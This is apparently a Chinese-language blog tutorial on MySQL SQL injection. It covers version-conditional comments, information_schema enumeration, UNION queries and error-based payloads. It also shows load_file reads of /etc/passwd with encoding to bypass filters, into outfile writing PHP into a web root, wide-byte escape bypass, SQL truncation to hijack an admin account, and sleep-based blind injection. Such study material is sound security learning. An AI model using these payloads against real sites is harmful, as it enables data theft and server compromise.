MySQL中的注释
MySQL支持以下三种注释风格:
#
:注释从"#
"字符到行尾--
:注释从"--
"序列到行尾。需要注意用此注释后面需要跟一个或多个空格。注:空格与tag都可以/* */
:注释从/*
序列到后面*/
序列中间的字符
其中,/* */
注释有个特点,观察以下sql语句:
select id/*!55555, username*/ from users
这句语句是能正常运行并输出的,/* */
注释没有起任何作用,其实这并不是注释,而是/* !*/
,感叹号是有特殊意义的,比如上面的/*!55555, username*/
意思是:若MySQL的版本号高于或者等于5.55.55,语句将会被执行,如果!
后面不加入版本号,MySQL将会直接执行SQL语句。
获取元数据
MySQL5.0及以上版本提供了information_schema
,information_schema
是信息数据库,它提供了访问数据库元数据的方式。
1.查询用户数据库名称:
select schema_name from information_schema.schemata limit 0,1
2.查询当前数据库表:
select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
3.查询指定表的所有字段:
select column_name from information_schema.columns where table_name=‘Student’ limit 0,1
我之前还写过一篇关于此处知识点的CTF实例,有兴趣的同学可以去看看:
https://blog.csdn.net/EC_Carrot/article/details/109159071
UNION查询
MySQL官方解释UNION查询用于把来自许多SELECT语句的结果结合到一个结果集合里面中,且每列的数据类型必须相同。
示例查询语句:
select id,username,password from users union select 1,2,3
值得一说的是,这句语句除了在MySQL中能运行成功并正常返回之外,在SQL Server与Oracle均显示语句错误,数据类型不匹配,无法正常运行
由此发现,在SQL Server与Oracle中,列的数据类型在不确定的情况下,最好使用null关键字来匹配
如:
select id,username,password from users union select null,null,null
MySQL函数利用
(1)load_file()函数读文件操作
使用MySQL读磁盘文件是非常简单的,它提供了load_file()函数,可以帮助用户快速读取文件,但文件必须在服务器上,需提供绝对路径,且必须持有FILE权限,文件容量必须小于max_allowed_packet字节(默认为16MB,最大为1GB)
语句如下:
union select 1,load_file(’/etc/passwd’),3 #
通常一些防注入语句不允许单引号出现,那么可以使用一下语句绕过:
union select 1,load_file(0x2F6563742F706173737764),3 #
0x2F6563742F706173737764
为"/etc/passwd"十进制ascii码转换结果,或者使用:
union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3 #
char() 将参数解释为整数并且返回 由这些整数的ASCII代码字符组成的一个字符串。NULL值 被跳过。
在SQL注入中,经常会使用函数组合来达到某种目的,如:在浏览器返回数据时,可能会存在乱码问题,那我们可以用hex()函数
union select 1,hex(load_file(char(47,101,99,116,47,112,97,115,115,119,100))),3 #
将字符串转换为十进制ASCII码数据这里可以去看看我的另外一篇文章:
https://blog.csdn.net/EC_Carrot/article/details/109596468
(2)into outfile写文件操作
和load_file()一样,写文件操作需要FILE权限,并且文件为全路径名称(在windows中路径均需用两个反斜杠)
语句如下:
select ‘<?php phpinfo ?>’ into outfile ‘/var/www/1.php’
select char(60,112,104,112,63,32,112,104,112,105,110,102,111,32,63,62) into outfile ‘/var/www/1.php’
这里的字符串转换ascii码
(3)连接字符串
在MySQL查询中,如果需要一次查询多个数据,可以使用concat()或concat_ws()函数来完成。
1.concat()函数
select name from student where id=1 union select concat(user(),’,’,database(),’,’,version());
concat函数中的逗号也可以用十六进制表示concat(user(),0x2c,database(),0x2c,version())
2.concat_ws()函数
如果觉得concat比较麻烦,可以使用concat_ws(),它会比concat函数更加简洁
select name from student where id=1 union select concat_ws(0x2c,user(),database(),version());
MySQL显错式注入
1.通过updatexml()
select * from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
2.通过extractvalue()
select * from message where id=1 and extractvalue(1,concat(0x7c,(select user())));
3.通过floor()
select * from message where id=1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b
宽字节注入
宽字节注入是由编码不统一所导致的,这种注入一般出现在PHP+MySQL中。
在PHP配置文件php.ini中存在magic_quotes_gpc选项,被称为魔术引号,这会让正常接收的GET、POST、Cookie的单引号、双引号、反斜杠和NULL字符都加上一个反斜杠转义,这会让输入的单引号没法闭合本该有注入点的语句。
宽字节注入就是突破PHP转义的技术,如:
输入http://www.xx.com/get.php?id=%d5' #
,显示结果会是誠
,此处的单引号没有被转义,而是成功闭合了前面的语句
MySQL长字符截断(SQL约束攻击)
MySQL中的一个设置叫sql_mode选项,当该选项为default时,即没有开启STRICT_ALL_TABLES选项时(MySQL的sql_mode选项默认为default),MySQL对插入超长的值只会显示warning,而不是error,这样就会导致一些截断问题。
比如有一处管理员登录是这样判断的,语句如下:
select count(*) from users where username=‘admin’ and password=’********’
而它的表中对username格式类型长度限制只有7
{id int(11) NOT NULL,username varchar(7) NOT NULL,password varchar(12) NOT NULL}
那么这时,我们仅需要注册一个"admin "用户即可轻易的进入后台管理页面。
因为,在注册"admin "用户时,语句为:
insert into users(id,username,password) values(2,'admin ',‘admin’);
会成功插入数据,但会有一个warning警告,但数据已经插入到数据库里了!
用length函数去判断id为2的admin用户长度会是为7,而本该在的admin管理员用户长度为5,由此可见,在默认情况下,如果数据超出列默认长度,MySQL会将其截断,再插入到表中。
延迟注入
延迟注入属于盲注的一种,是一种基于时间差异的注入技术
MySQL中,有一个函数sleep(),作用是在给定秒数后运行语句,例:
select * from users where id=1 and sleep(3);
即为在3秒后执行sql语句
知道此函数后,那么就可以拿来判断URL是否存在SQL注入漏洞,步骤如下:
?id=1 //返回正常,1秒左右打开页面
?id=1 ’ //返回正常,1秒左右打开页面
?id=1 ’ and 1=1 //返回正常,1秒左右打开页面
?id=1 ’ and sleep(3) //返回正常,3秒左右打开页面
这样一来,就可以判断出URL存在SQL注入漏洞
网上的延迟注入语句都是大同小异的,这里不再过多赘述,仅讲注入思路:
- 查询当前用户,取得字符串长度。
- 截取字符串第一个字符,并转换成ascii码
- 将该ascii码与ascii码表对比,如果对比成功则页面延迟3秒后输出
- 继续该步骤直到字符串截取完成
对于语句如下
- and if(length(user())=0,sleep(3),1)
- and if(hex(mid(user(),1,1))=1,sleep(3),1)
- and if(hex(mid(user(),L,1))=N,sleep(3),1)
注:L的位置表示字符串的第几个字符,N的位置代表ascii码。
该思路用在延迟注入脚本中同样适用。